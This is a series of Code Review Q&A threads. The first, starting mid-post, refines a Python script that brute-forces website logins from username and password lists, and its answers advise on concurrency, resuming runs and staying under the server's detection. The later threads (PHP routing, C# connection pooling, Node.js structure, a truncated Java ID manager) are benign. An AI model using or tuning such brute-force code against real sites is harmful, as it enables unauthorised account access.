isconnect = "True"
if(payload.find(isconnect)>=0):
print "Found, the password is: " + data2["password"] + " and the username is: " + data2["username"]
return
else:
pass
</code></pre>
<p>Is this code efficient?
How I can improve my code?
Should I use multithreading mechanism to speed up my script?</p>
|
[
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-05T09:52:12.830",
"Id": "16977",
"Score": "0",
"body": "It's probably a good idea to `close()` your files explicitly."
}
] |
[
{
"body": "<p>First, improving the code:</p>\n\n<ol>\n<li><p>Reading lines from a file is as easy as <code>open(name, 'r').readlines()</code>. No need for three lines where one is enough.</p></li>\n<li><p><code>data</code> and <code>data2</code>, are on the face of it redundant (and are badly named). The redundancy is only resolved because you reuse <code>data</code> – not a good idea. Use proper variable naming and use <em>new</em> variables for a new purpose, don’t reuse variables. </p>\n\n<p>(And in general, choose more relevant names.)</p></li>\n<li><p>If you don’t use the <code>else</code> branch in a conditional, don’t write it.</p></li>\n<li><p>Separation of concerns! This method tries to find a way into a website, <em>not</em> print stuff to the console. Return the result instead. That way, the function can be properly used.</p></li>\n</ol>\n\n<p>This leaves us with:</p>\n\n<pre><code>def BruteForce(url, userlist_file, passlist_file):\n userlist = open(userlist_file, 'r').readlines()\n passlist = open(passlist_file, 'r').readlines()\n\n for username in userlist:\n for password in passlist:\n data = { 'username': username, 'password': password }\n encoded = urllib.urlencode(data)\n request = urllib2.Request(url, encoded)\n response = urllib2.urlopen(request)\n payload = response.read()\n\n isconnect = 'True'\n if(payload.find(isconnect) >= 0):\n return data\n\n return { } # Nothing found\n</code></pre>\n\n<p>Now to your question:</p>\n\n<blockquote>\n <p>Is this code efficient?</p>\n</blockquote>\n\n<p>Not really. The problem isn’t so much the code in itself, it’s more the fact that HTTP requests are generally quite slow, but the most time is spent waiting for data. If you do them sequentially (and you do), most of the script’s running time is spent <em>waiting</em>.</p>\n\n<p>This can be drastically improved by sending several requests concurrently. This doesn’t even need multithreading – you can just open several connections in a loop, and <em>then</em> start reading from them. Even better would be to read asynchronously. Unfortunately, urllib doesn’t support this – but <a href=\"http://asynchttp.sourceforge.net/\" rel=\"nofollow\">other libraries do</a>.</p>\n\n<p>That said, you cannot simply bombard the web server with tons of requests. After all, your script is malicious and you don’t want the web server to notice you. So you need to fly under the radar – send just as many concurrent requests as the server allows without being blocked immediately.</p>\n\n<p>Finding this number is tricky and requires guesswork and a bit of luck. If you are lucky, the server is badly configured and won’t mind lots of connections. If you want to stay on the safe side, stay way low.</p>\n\n<p>I have no idea, nor much interest in, how to engineer such an attack.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-31T21:36:13.527",
"Id": "16756",
"Score": "0",
"body": "thx! I have learned a lot from your comment!"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-04T15:21:46.150",
"Id": "16951",
"Score": "0",
"body": "There is no asynchttp library documentation :("
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-05T09:53:59.070",
"Id": "16978",
"Score": "1",
"body": "One minor thing. It's usually a good idea to explicitly close your file objects. OP could do this with a `with` bloc however."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-28T23:44:00.623",
"Id": "506534",
"Score": "0",
"body": "@JoelCornett AttributeError: 'list' object has no attribute 'close'"
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-31T21:22:23.230",
"Id": "10537",
"ParentId": "10536",
"Score": "4"
}
},
{
"body": "<p>1.</p>\n\n<pre><code>def BruteForce(url, userlist_file, passlist_file):\n</code></pre>\n\n<p><a href=\"http://www.python.org/dev/peps/pep-0008/#function-names\" rel=\"nofollow\">PEP8</a> recommends you to name functions in lowercase/underscore style.</p>\n\n<pre><code>def bruteforce(url, userlist_file, passlist_file):\n</code></pre>\n\n<p>2.</p>\n\n<pre><code>isconnect = \"True\"\n</code></pre>\n\n<p>If it's a constant move it out of function, at least out of cycle. Name it UPPERCASE.</p>\n\n<pre><code>SUCCESS_RESPONSE = 'True'\n</code></pre>\n\n<p>3.</p>\n\n<pre><code>if(payload.find(isconnect)>=0):\n</code></pre>\n\n<p>Python has build-in function <code>in</code> for your case which returns True/False. Brackets are also redundant.</p>\n\n<pre><code>if SUCCESS_RESPONSE in payload:\n</code></pre>\n\n<p>4.</p>\n\n<p>You don't check exceptions that are very likely when you send HTTP requests. In this case your script stop and you have to attack server from the beginning. I also advise you to close connections. With-statement does it automatically.</p>\n\n<pre><code>from contextlib import closing\n\ntry:\n with closing(urllib2.urlopen(request)) as response: \n payload = response.read()\nexcept urllib2.URLError, e:\n print e\n</code></pre>\n\n<p>You can store wrong login-passwords pairs to skip them when you run your code next time.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-01T06:49:40.480",
"Id": "10540",
"ParentId": "10536",
"Score": "4"
}
}
] |
{
"AcceptedAnswerId": "10537",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-31T20:18:54.527",
"Id": "10536",
"Score": "3",
"Tags": [
"python",
"http",
"authentication"
],
"Title": "Try every username and password from a list on a website"
}
|
10536
|
<p>I have been writing a very slim MVC framework to drive a small personal website. It's nothing intricate, just mostly for fun and a learning experience. </p>
<p>Specifically, this is the initial part of the MVC and just the entry point. I don't want to develop all this logic for the models and views if my dispatcher is not going to work right in a production site. Again, this is just the entry of the project and handles requests to load the controllers via the URL. This is not the entire MVC project. </p>
<p>When I am looking at other frameworks out there, they seem quite complex in their handling of the routing and controller dispatching, and my final code is just a fraction of the size.</p>
<p>I have the server redirect all requests back to index.php using an .htaccess file or via a Nginx config file. I have tried both.</p>
<p>I use the index.php file as the entry point (this is the relevant part):</p>
<pre><code>/* using "Example Implementation" of the PSR-0 standards supporting both '\' and '_' namespace seperations
* https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-0.md
* using file_exists to deal with otherwise unhandled errors
*/
function autoload($className) {
$className = ltrim($className, '\\');
$fileName = '';
$namespace = '';
if($lastNsPos = strripos($className, '\\')) {
$namespace = substr($className, 0, $lastNsPos);
$className = substr($className, $lastNsPos + 1);
$fileName = str_replace('\\', DS, $namespace) . DS;
}
$fileName .= str_replace('_', DS, $className) . '.php';
$fileName = ROOT . DS . $fileName;
if(file_exists($fileName)) {
require($fileName);
}
}
$test = new framework\core\Router();
</code></pre>
<p><strong>Router.php:</strong></p>
<pre><code><?php
namespace framework\core {
class Router {
function __construct() {
//get the raw url
$urlRaw = $_SERVER['REQUEST_URI'];
//do the route :)
$this->route($urlRaw);
}
private function route($urlRaw) {
//do our best to split the url at the most obvious parts (/, ?, $, =)
$urlRawParts = preg_split('/[\/?&=]+/', $urlRaw, -1, PREG_SPLIT_NO_EMPTY);
//do a simple sanitization on the parts (allow alphanumeric and dash while stripping common web extensions)
$urlRawParts = preg_replace('/[^A-Za-z0-9\-]|\bhtm\b|\bphp\b|\bhtml\b/', '', $urlRawParts);
//set our controller and action or use defaults
$controller = ((!empty($urlRawParts[0])) ? $urlRawParts[0] : 'Index');
$action = ((!empty($urlRawParts[1])) ? $urlRawParts[1] : 'index');
$arguments = ((count($urlRawParts) > 2) ? array_slice($urlRawParts, 2) : array());
$this->dispatch($controller, $action, $arguments);
}
private function dispatch($controller, $action, $arguments) {
//format the call to our class
$controller = 'application\\controllers\\' . ucfirst($controller) . 'Controller';
//load our class or show the appropriate error page
$controller = ((class_exists($controller) ? new $controller() : new Error('404')));
//use the default class method unless a valid one exists
$method = ((method_exists($controller, $action)) ? $action : 'index');
//call our class method
call_user_func_array(array($controller, $method), $arguments);
}
}
}
?>
</code></pre>
<p>This works for any URL that I throw at it and will always default to a known file (Error.php which is just a simplified controller and view in one). </p>
<p>Am I missing anything huge here? Is my logic way off or not complete? Is this utilization slow or wasteful on resources? I'm just looking for a general idea on if I am on the right track.</p>
|
[
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-01T05:37:10.187",
"Id": "16766",
"Score": "0",
"body": "As far as I understand you post just \"C\" from \"MVC\" here (and may be not all its code). What is missing here is error handling and initialization: how do you load all `<head>` part of your server response, for example? Otherwise, it is fair for personal site, why not."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-07-25T21:51:16.453",
"Id": "59722",
"Score": "0",
"body": "Besides what the other guys have said, don't forget to check for [Poison Null Byte](http://hakipedia.com/index.php/Poison_Null_Byte)"
}
] |
[
{
"body": "<p>You are basically on the right track though you could use:</p>\n\n<pre><code>$controller->$method($arguments);\n</code></pre>\n\n<p>instead of call_user_func_array.</p>\n\n<p>The reason that other routers are more complicated is because they do a lot more. For example, you have a direct map between url and controller which means you can't change your urls without changing your code.</p>\n\n<p>But again, if your functionality suffices for your applications then go with it. You can always refactor later.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-05T05:37:57.880",
"Id": "16969",
"Score": "1",
"body": "There is a difference between call_user_func_array and calling it directly. Your method only takes 1 argument whereas the OP's takes a variable number of arguments."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-04T21:15:30.523",
"Id": "10629",
"ParentId": "10538",
"Score": "0"
}
},
{
"body": "<p>All the basic parts are here, but there's still room for improvement.</p>\n\n<p><strong>First</strong> of all, I wouldn't have the constructor call <code>route</code> and <code>route</code> then call <code>dispatch</code> because it makes the second method less discoverable when the code is being read. Contrast this with:</p>\n\n<pre><code>function __construct() { \n //get the raw url\n $urlRaw = $_SERVER['REQUEST_URI'];\n\n $route = $this->route($urlRaw); // don't care what $route is exactly\n $this->dispatch($route);\n}\n</code></pre>\n\n<p>Here it is much more obvious what you method you should be looking for. It's true that you, as creator of the code, do not need this -- but others might, and it's a totally free lunch.</p>\n\n<p><strong>Second</strong>: this line bakes an application configuration decision inside the router. You don't want to do this, as it's totally reasonable to want to change this configuration most of the time while the router would stay mostly untouched.</p>\n\n<pre><code>$controller = ((!empty($urlRawParts[0])) ? $urlRawParts[0] : 'Index');\n</code></pre>\n\n<p>It's much better to make the default controller name part of the application configuration and have the router take it from there, because it's reasonable to want your \"home\" page to be equivalent to the \"/something\" url instead of \"/index\".</p>\n\n<p>The same goes for</p>\n\n<pre><code>$action = ((!empty($urlRawParts[1])) ? $urlRawParts[1] : 'index');\n</code></pre>\n\n<p>It would be better if you allowed the controller writer to pick which action is the default:</p>\n\n<pre><code>$action = ((!empty($urlRawParts[1])) ? 'action'.$urlRawParts[1] : 'defaultAction');\n</code></pre>\n\n<p>But why also rename <code>index</code> to <code>defaultAction</code> and add the \"action\" prefix to method names? Consider also your dispatch code:</p>\n\n<pre><code>$method = ((method_exists($controller, $action)) ? $action : 'index');\n</code></pre>\n\n<p>This check with <code>method_exists</code> would allow any url that maps to a <code>public</code> function to be successfully dispatched, even if that function does not map to a \"real\" action (it can simply be a helper method). That's not really a security issue (you can easily make sensitive functions <code>private</code>) but it's not very consistent: targeting <code>nonExistentAction</code> will get you to the index page, while targeting e.g. <code>helperMethod</code> will show a blank page as <code>helperMethod</code> most likely does not directly produce content.</p>\n\n<p>By demanding that actions are implemented in functions with names starting with \"action\" you can make sure that this never happens. The default action is a special exception to this rule, as it allows the controller writer to effectively specify which url routes to the default action <em>and</em> what the default action should do at the same time.</p>\n\n<p><strong>Third</strong>: It's not consistent to show a 404 for a missing controller but not do that for a missing action and use the default one instead. You should do the same in both cases, and the right choice would be the 404.</p>\n\n<p><strong>Fourth</strong>: Parameter handling needs immediate attention.</p>\n\n<p>To begin with, you are sanitizing parameters to an unreasonably restricted set. What if there's a search action somewhere and the user wants to type in a character like <code>*</code> or a non-alphanum string? Clearly parameter sanitization needs to simply be removed.</p>\n\n<p>Apart from that, you are passing GET parameters to the controller action positionally. The positional part is not a dealbreaker by itself (although it <em>would</em> be a dealbreaker in a framework, or if the URL format were configurable), but the GET restriction is a bit ugly. However, this cannot be fixed easily because there's no good way to know where parameters from $_POST should be inserted, or what their order relative to one another should be.</p>\n\n<p>To address this, you need to make the code <a href=\"http://php.net/manual/en/class.reflectionmethod.php\" rel=\"nofollow\">reflect</a> into the controller method and look for argument names and default values, pull these out from your list of GET parameters and $_POST, place them in an array ordered by the position of each named parameter in the function signature and call the function with that. You should also probably return an HTTP 400 if the action turns out to have a non-optional parameter the value of which was not provided.</p>\n\n<p>All in all not the end of the world, but a speed bump and a non-trivial amount of code.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-05-06T01:29:23.423",
"Id": "11515",
"ParentId": "10538",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-31T22:23:45.327",
"Id": "10538",
"Score": "4",
"Tags": [
"php",
"mvc",
"url-routing"
],
"Title": "Framework to drive a small personal site"
}
|
10538
|
<p>I'm trying to implement TCP connection pooling and return a connection back to the pool using <code>IDisposable</code>. I'm wondering if my implementation is correct. It seems to be working but I think because the base class also implements <code>IDisposable</code> and finalize, my code might be leaky.</p>
<pre><code>public class BaseClass : IDisposable
{
internal bool IsDisposed { get; set; }
private object someResource;
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
~BaseClass()
{
Dispose(false);
}
protected virtual void Dispose(bool disposing)
{
if (someResource != null)
{
// some clearn up
return;
}
if (disposing)
{
//dispose un managed resources
}
}
}
public class ChildClass : BaseClass
{
// adds some functionality
}
public class MyClass : ChildClass, IDisposable
{
MyPoolManager manager = null;
public MyClass(MyPoolManager manager)
{
this.manager = manager;
}
void IDisposable.Dispose()
{
manager.ReturnPooledConnection(this);
}
}
public class MyPoolManager
{
private static MyPoolManager instance = new MyPoolManager();
private static object objLock = new object();
private static Queue<MyClass> que = null;
private string name;
static MyPoolManager()
{
que = new Queue<MyClass>();
// enqueue some instances of MyClass here
MyClass client = new MyClass(instance);
que.Enqueue(client);
}
private MyPoolManager() { }
public MyPoolManager(string name)
{
this.name = name;
}
public MyClass GetPooledConnection()
{
lock (objLock)
{
while (que.Count == 0)
{
if (!Monitor.Wait(objLock, 1000))
throw new TimeoutException("Connection timeout");
}
return que.Dequeue();
}
}
public void ReturnPooledConnection(MyClass client)
{
lock (objLock)
{
que.Enqueue(client);
Monitor.Pulse(objLock);
}
}
}
</code></pre>
<p>Use it like this in your program:</p>
<pre><code>MyPoolManager pool = new MyPoolManager();
using (var conn = pool.GetPooledConnection())
{
// use the conn here
}
// when you reach here the conn should have returned back to the pool
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-01T02:13:20.877",
"Id": "16759",
"Score": "1",
"body": "Superficial suggestion: `internal bool IsDisposed { get; private set; }`."
}
] |
[
{
"body": "<p>I have basically introduced a wrapper for connection and also <code>IDisposable</code> on <code>PoolManager</code>, so it will dispose the connections when it is disposed. And also edited the <code>Dispose</code> methods slightly.</p>\n\n<pre><code> public class BaseClass : IDisposable\n {\n internal bool IsDisposed { get; private set; }\n private object someResource;\n\n public void Dispose()\n {\n Dispose(true);\n GC.SuppressFinalize(this);\n }\n\n ~BaseClass()\n {\n Dispose(false);\n }\n\n protected virtual void Dispose(bool disposing)\n {\n if (IsDisposed) return;\n\n if (disposing)\n {\n if (someResource != null)\n {\n // some clean up\n }\n\n //dispose unmanaged resources \n }\n\n someResource = null;\n IsDisposed = true;\n }\n}\n\npublic class ChildClass : BaseClass\n{\n // adds some functionality\n}\n\npublic class PoolWrapper : IDisposable\n{\n private MyPoolManager manager;\n public BaseClass Connection { get; private set; };\n\n public PoolWrapper(MyPoolManager manager, BaseClass connection)\n {\n this.manager = manager;\n this.Connection = connection;\n }\n\n void IDisposable.Dispose()\n {\n manager.ReturnPooledConnection(this);\n }\n}\n\npublic class MyPoolManager : IDisposable\n{\n private static MyPoolManager instance = new MyPoolManager();\n private static object objLock = new object();\n\n private static Queue<BaseClass> que = null;\n private string name;\n internal bool IsDisposed { get; private set; }\n\n static MyPoolManager()\n {\n que = new Queue<BaseClass>();\n // enqueue some instances of MyClass here\n que.Enqueue(client);\n }\n\n private MyPoolManager() { }\n\n public MyPoolManager(string name)\n {\n this.name = name;\n }\n\n public PoolWrapper GetPooledConnection()\n {\n lock (objLock)\n {\n while (que.Count == 0)\n {\n if (!Monitor.Wait(objLock, 1000))\n throw new TimeoutException(\"Connection timeout\");\n }\n return new PoolWrapper(this, que.Dequeue());\n }\n }\n\n public void ReturnPooledConnection(PoolWrapper client)\n {\n lock (objLock)\n {\n que.Enqueue(client.Connection);\n Monitor.Pulse(objLock);\n }\n }\n\n public void Dispose()\n {\n Dispose(true);\n GC.SuppressFinalize(this);\n }\n\n ~MyPoolManager()\n {\n Dispose(false);\n }\n\n protected virtual void Dispose(bool disposing)\n {\n if (!IsDisposed && disposing)\n {\n while (que.Count != 0) \n que.Dequeue().Dispose(); \n }\n\n IsDisposed = true\n }\n}\n</code></pre>\n\n<p>And you can use it like this in your program:</p>\n\n<pre><code> using (var pool = new MyPoolManager())\n using (var instance = pool.GetPooledConnection())\n {\n instance.Connection.DoSomething();\n }\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-01T10:47:47.853",
"Id": "10542",
"ParentId": "10539",
"Score": "1"
}
},
{
"body": "<p>The days of using <code>IDisposable</code> for things like this only came about because of the lack of functional programming concepts in C#. Now that <code>Action</code> and <code>Func<T></code> exist there's absolutely no reason to use <code>IDisposable</code> for this situation.</p>\n\n<p>A pool of connections/resources can expose a much nicer and simpler interface that removes the need for the <code>using</code> statement altogether and as a result avoids the possibility of the caller \"forgetting\" to give the resource back to the pool. Just because something implements <code>IDisposable</code> it doesn't mean that the caller <em>will</em> dispose of it properly.</p>\n\n<p>A few points on your implementation:</p>\n\n<ul>\n<li>Your <code>BaseClass</code> is completely unnecessary and can be removed.</li>\n<li>The manager class has a poor implementation of what's already in the .NET framework: <code>ConcurrentQueue</code>. It's not only a better option because you don't have to write it, but it's lock-free and much more efficient.</li>\n<li>The manager class's lock forces serialised access to <em>one thread at a time</em>, even if there are plenty of resources available. If you have 30 connections, you should let 30 threads access your resource pool at once, not just 1. Use a <code>Sempahore</code> instead.</li>\n</ul>\n\n<p>So with this in mind I'd like to make a couple of suggestions.</p>\n\n<ol>\n<li>Generalise your resource pool. The resource pool shouldn't be coded to a specific type of thing. Anything of any type can be pooled.</li>\n<li>Avoid the use of disposable and use higher order functions to wrap up the lifetime of the resource. The consumer can not possible forget to give the resource back to the pool because you're doing it all for them.</li>\n<li>Use proper .NET collections to solve the problem, not your own implementation.</li>\n<li>Avoid a straight lock which serialises access when you can instead use a semaphore.</li>\n<li>Don't push the logic of resource creation into the pool. Pass in a function that can do the creation for you, then you can have something that can create objects of arbitrary complexity.</li>\n</ol>\n\n<p>Here's a quick implementation I've just thrown together (haven't compiled it, it's for reference and for ideas only):</p>\n\n<pre><code>public class Pool<TResource>\n{\n private const int PoolWaitTimeoutMs = 1000;\n\n private readonly BlockingCollection<TResource> _resources;\n\n public Pool(int size, Func<TResource> producer)\n {\n _resources = new BlockingCollection<TResource>();\n\n for(var i = 0; i < size; ++i)\n {\n _resources.Add(producer());\n }\n }\n\n public void Consume(Action<TResource> consumer)\n {\n // This is a helper for when consumers don't produce a result\n Consume(new Func<TResource, object>(res => { consumer(res); return null; }));\n }\n\n public TResult Consume(Func<TResource, TResult> consumer)\n {\n\n TResource res;\n\n try\n {\n // wait for a resource to become available\n if (!_resource.TryTake(out res, PoolWaitTimeoutMs))\n {\n throw new Exception(\"Unable to acquire resource\");\n }\n\n // invoke the consumer function and return the result\n return consumer(res);\n }\n finally\n {\n // put it back in the queue if we managed to get one\n if(res != null)\n {\n _resources.Add(res);\n }\n }\n }\n}\n</code></pre>\n\n<p>Using the pool them becomes as simple as this:</p>\n\n<pre><code>public class SomePooledResource\n{\n public void DoStuff() { ... };\n public List<string> GetStuff() { ... };\n // other stuff\n}\n\n// create a pool of 10 resources\nvar pool = new Pool<SomePooledResource>(10, () => new SomePooledResource);\n\n// use the resource without returning something\npool.Consume(res => res.DoStuff());\n\n// use the resource returning a result\nvar results1 = pool.Consume(res => res.GetStuff());\n\n// use the resource to do both\nvar results2 = pool.Consume(res =>\n {\n res.DoStuff();\n return res.GetStuff();\n });\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2013-02-01T23:27:17.757",
"Id": "21208",
"ParentId": "10539",
"Score": "6"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-01T01:19:05.870",
"Id": "10539",
"Score": "7",
"Tags": [
"c#",
".net"
],
"Title": "Implementing IDisposable correctly to return TCP connection back to pool"
}
|
10539
|
<p>I am creating a small Node.js application, but I think the file becomes unreadable. I am certain the file can be split into some better managable file.</p>
<p>Here is my app.js</p>
<pre><code>var sio = require('socket.io'),
fs = require('fs'),
express = require('express'),
connect = require('connect'),
MemoryStore = express.session.MemoryStore,
app = express.createServer('http://mysite.dev'),
sessionStore = new MemoryStore(),
parseCookie = connect.utils.parseCookie,
Session = connect.middleware.session.Session
db = require('mongoose').connect('mongodb://localhost/dev_db'),
Common = {
users: require('./server/models/user').User
};
app.configure(function () {
app.use(express.cookieParser());
app.use(express.session({
store: sessionStore,
secret: 'secret',
key: 'express.sid'
}));
app.get('*', function (req, res) {
res.sendfile(__dirname + '/assets/tmpl/index.html');
});
});
app.listen(8008);
var io = sio.listen(app);
io.configure(function () {
io.set('transports', ['websocket']);
});
io.set('authorization', function (data, accept) {
if (data.headers.cookie) {
data.cookie = parseCookie(data.headers.cookie);
data.sessionID = data.cookie['express.sid'];
data.sessionStore = sessionStore;
sessionStore.get(data.sessionID, function (err, session) {
if (err || !session) {
accept('Error', false);
} else {
data.session = new Session(data, session);
accept(null, true);
}
});
} else {
return accept('No cookie transmitted.', false);
}
});
var create = function (socket, signature) {
var e = event('create', signature), data = [];
socket.emit(e, {id : 1});
};
var read = function (socket, signature) {
var e = event('read', signature);
if(signature.endPoint){
Common[signature.endPoint][signature.cb](socket, signature.ctx, function(err, data){
if(err) throw err;
socket.emit(e, data);
})
}
};
var update = function (socket, signature) {
var e = event('update', signature), data = [];
socket.emit(e, {success : true});
};
var destroy = function (socket, signature) {
var e = event('delete', signature), data = [];
socket.emit(e, {success : true});
};
// creates the event to push to listening clients
var event = function (operation, sig) {
var e = operation + ':';
e += sig.endPoint;
if (sig.cb) e += (':' + sig.cb);
if (sig.ctx) e += (':' + sig.ctx);
return e;
};
io.sockets.on('connection', function (socket) {
var hs = socket.handshake;
console.log('A socket with sessionID ' + hs.sessionID + ' connected!');
// setup an inteval that will keep our session fresh
var intervalID = setInterval(function () {
hs.session.reload( function () {
hs.session.touch().save();
});
}, 60 * 1000);
socket.on('init', function(data){
if(hs.session.userdata){
fs.readFile(__dirname + '/assets/tmpl/user/dashboard.html', 'utf8', function(err, html){
if(err) throw err;
socket.emit('init', {callback: 'dashboard', tmpl: html});
});
}else{
fs.readFile(__dirname + '/assets/tmpl/user/login.html', 'utf8', function(err, html){
if(err) throw err;
socket.emit('init', {callback: 'login', tmpl: html});
});
}
});
socket.on('create', function (data) {
create(socket, data.signature);
});
socket.on('read', function (data) {
console.log(hs.session);
read(socket, data.signature);
});
socket.on('update', function (data) {
update(socket, data.signature);
});
socket.on('delete', function (data) {
destroy(socket, data.signature);
});
socket.on('disconnect', function () {
console.log('A socket with sessionID ' + hs.sessionID + ' disconnected!');
clearInterval(intervalID);
});
});
</code></pre>
|
[] |
[
{
"body": "<p>Before trying to split the program into separate files, I would suggest first commenting your functions to explain what they are accomplishing in the context of your application. Then, add comments that group things under a specific \"section\", e.g.:</p>\n\n<pre><code> /* --- INITIALIZE ALL GLOBAL DATA FIRST --- */\n\n var initializeFirstDataSet = function () { ... }();\n var initializeSecondDataSet = function () { ... }();\n\n /* --- VALIDATE USER INPUT --- */\n /*\n * Our application is especially sensitive to erroneous user input;\n * therefore, we will provide additional overhead to user input validation\n * and stop all further processing if any input is invalid.\n */\n /**\n * we provide our users the flexibility of giving email addresses or phone numbers\n * as user names. ensure they have entered in one of those here.\n * NOTE: we will not test whether the user name itself exists here, only that\n * it's possible that the input could be a user name.\n * TODO[me]: our application may be using a more systematic validation\n * from other parts of our system. include that here via another\n * file if available. \n * @param userName String - email address or phone number\n * @return Boolean - whether user name is of valid format\n */\n var validateUserName = function (userName) {\n // do regex-matching and other necessary validation here\n\n }( /* input GET/POST parameter here */ );\n\n /* --- WIRE LIFE-CYCLE EVENTS --- */\n /*\n * our application has a number of events that are part of the normal\n * \"lifecycle\" of a REST API. include the handlers here.\n * TODO[me]: is there \n */\n var create = function () { ... }();\n</code></pre>\n\n<p>As I spent time commenting the various sections of my code and trying to group them, I realized that some things may be retrieved from other files, and some things may be moved to another file for more streamlining.</p>\n\n<p>At the very least, once you start commenting, your code becomes more understandable to someone who has not seen the code before.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-02T00:31:24.470",
"Id": "16789",
"Score": "1",
"body": "Well, the script I wrote is pretty self-explanatory. In the first section I include all that is needed for the app, after that I init the server, after that init session/cookie, lastly init socket.io. I thought it would be understandable to any Node programmer. The main problem is not that I do not know what to split, but more how to split the file. What kind of syntax I would use."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-02T03:42:18.477",
"Id": "16795",
"Score": "0",
"body": "When you try to split up code, usually you need to first figure out what code can be grouped together in logical units of work. Then deciding whether to put them in different files will require engineering trade-off mentality, where you ask questions, such as, \"is this code expected to be isolated to this app as a one-off, or will this more streamlined for a larger web-app?\" Asking yourself these questions is helpful to prevent segmenting your code too much and making debugging harder. Also, a key issue in readability is not whether someone understands the syntax (continued...)"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-02T03:43:45.477",
"Id": "16796",
"Score": "0",
"body": "of the framework you've chosen. It's more important to explain the rationale of your code structure in the context of what you are trying to achieve with your individual app. I've seen a million sql queries, for example, but it makes it much easier as an engineer to understand why this particular sql query is being made for my particular app. When you describe the rationale of your app as you add functionality, it also makes it easier to understand where natural code grouping is occurring for your app."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-01T23:38:15.800",
"Id": "10556",
"ParentId": "10544",
"Score": "1"
}
},
{
"body": "<p>Instead of writing comments, I would avoid using anonymous functions or meaningless names.</p>\n\n<p>For instance,</p>\n\n<pre><code>var create = function (socket, signature) {\n var e = event('create', signature), data = [];\n socket.emit(e, {id : 1});\n};\n</code></pre>\n\n<p>What do you create ? Looking at the code you create an event and then you emit it.</p>\n\n<pre><code>var createAndEmitEvent = function (socket, signature) {\n var e = event('create', signature), data = [];\n socket.emit(e, {id : 1});\n};\n</code></pre>\n\n<p>Here you know by its name. Therefor you don't need a comment block. This block code block doesn't respect the single responsibility principle but principles are meant to be broken. A 2 lines function doesn't need to be splitted.</p>\n\n<p>I would also allow some duplication in the signature.</p>\n\n<pre><code>var createAndEmitEvent = function createAndEmitEvent (socket, signature) { \n</code></pre>\n\n<p>The purpose of this is to have the name of the function in the stack trace in case of an error. Otherwise, the function will be identified as anonymous.</p>\n\n<p>Here's another example.</p>\n\n<pre><code>socket.on('init', function(data){\n if(hs.session.userdata){\n fs.readFile(__dirname + '/assets/tmpl/user/dashboard.html', 'utf8', function(err, html){\n if(err) throw err;\n socket.emit('init', {callback: 'dashboard', tmpl: html});\n });\n }else{\n fs.readFile(__dirname + '/assets/tmpl/user/login.html', 'utf8', function(err, html){\n if(err) throw err;\n socket.emit('init', {callback: 'login', tmpl: html});\n });\n }\n});\n</code></pre>\n\n<p>You could create a function called <code>onInitSocket</code>. You also have a another callback inside this function to handle the <code>readFile</code> callback. This is a smell. You could handle this case using promise or using the async module. I recommend the latest in your case in order to not change the paradigm. You also have a variable called <code>hs</code>. If you split your code in functions and later in different file, it won't be so obvious that this name refers to <code>handshake</code>.</p>\n\n<p><strong>Overall, make sure your code speak for itself. You should only have to use comments when the code needs to be unclear (algorithme optimization for instance).</strong></p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-02-04T19:01:01.383",
"Id": "40872",
"ParentId": "10544",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-01T13:59:05.823",
"Id": "10544",
"Score": "1",
"Tags": [
"javascript",
"node.js"
],
"Title": "Need some help splitting up my Node.js code"
}
|
10544
|
<p>Are these methods <code>getNewId()</code> & <code>fetchIdsInReserve()</code> thread safe ?</p>
<pre><code>public final class IdManager {
private static final int NO_OF_USERIDS_TO_KEEP_IN_RESERVE = 200;
private static final AtomicInteger regstrdUserIdsCount_Cached = new AtomicInteger(100);
private static int noOfUserIdsInReserveCurrently = 0;
public static int getNewId(){
synchronized(IdManager.class){
if (noOfUserIdsInReserveCurrently <= 20)
fetchIdsInReserve();
noOfUserIdsInReserveCurrently--;
}
return regstrdUserIdsCount_Cached.incrementAndGet();
}
private static synchronized void fetchIdsInReserve(){
int reservedInDBTill = DBCountersReader.readCounterFromDB(....); // read column from DB
if (noOfUserIdsInReserveCurrently + regstrdUserIdsCount_Cached.get() != reservedInDBTill) throw new Exception("Unreserved ids alloted by app before reserving from DB");
